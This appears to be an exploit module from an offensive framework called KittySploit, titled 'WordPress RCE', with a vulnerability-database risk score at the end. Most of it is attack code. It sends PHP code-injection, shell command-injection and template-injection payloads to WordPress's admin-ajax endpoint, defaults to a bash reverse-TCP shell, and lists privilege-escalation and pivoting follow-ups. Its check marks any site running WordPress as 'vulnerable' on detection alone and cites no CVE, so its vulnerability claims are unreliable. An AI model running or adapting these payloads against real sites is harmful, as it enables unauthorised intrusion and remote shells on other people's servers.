WordPress RCE
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from kittysploit import *
from lib.protocols.http.http_client import Http_client
import urllib.parse
class Module(Exploit, Http_client):
__info__ = {
"name": "WordPress RCE",
"description": "Remote Code Execution exploit for WordPress vulnerabilities including plugin vulnerabilities and core RCE",
"author": "KittySploit Team",
"cve": [],
"arch": [Arch.X86, Arch.X64],
"platform": Platform.MULTI,
"category": "singles",
"payload": {
"default": "payloads/singles/cmd/unix/bash_reverse_tcp",
"arch": "cmd",
"platform": ["unix", "linux"],
"category": "singles",
},
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
'post/shell/multi/manage/pivot_autoroute']},
},
}
exploit_path = OptString("/wp-admin/admin-ajax.php", "Path to vulnerable endpoint", required=False)
action = OptString("action", "Action parameter name", required=False)
def check(self):
"""
Check if target is WordPress
"""
try:
response = self.http_request(method="GET", path="/")
if response:
content = response.text.lower()
if 'wordpress' in content or 'wp-content' in content or 'wp-includes' in content:
return {
'vulnerable': True,
'reason': 'WordPress detected',
'confidence': 'medium'
}
return {
'vulnerable': False,
'reason': 'WordPress not detected',
'confidence': 'low'
}
except Exception as e:
return {
'vulnerable': False,
'reason': f'Check failed: {str(e)}',
'confidence': 'low'
}
def run(self):
"""
Execute the exploit
"""
try:
print_status("Attempting WordPress RCE exploit...")
path = self.exploit_path if self.exploit_path else "/wp-admin/admin-ajax.php"
action = self.action if self.action else "action"
command = self.payload
# Try different WordPress RCE vectors
payloads = [
# PHP code injection via action
{action: f"<?php system('{command}'); ?>"},
# Command injection
{action: f"; {command}"},
{action: f"| {command}"},
# Template injection
{action: f"{{{{ system('{command}') }}}}"},
]
for payload_data in payloads:
print_info("Trying payload...")
response = self.http_request(
method="POST",
path=path,
data=payload_data,
allow_redirects=False,
timeout=10
)
if response and response.status_code in [200, 500]:
# Check for command output
if 'uid=' in response.text or 'gid=' in response.text:
print_success("Command executed successfully")
self.vulnerable()
return True
print_error("Exploitation failed")
self.not_vulnerable()
return False
except Exception as e:
print_error(f"Exploitation failed: {e}")
return False
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10 Jul 2026 11:31Current
6Medium risk
Vulners AI Score6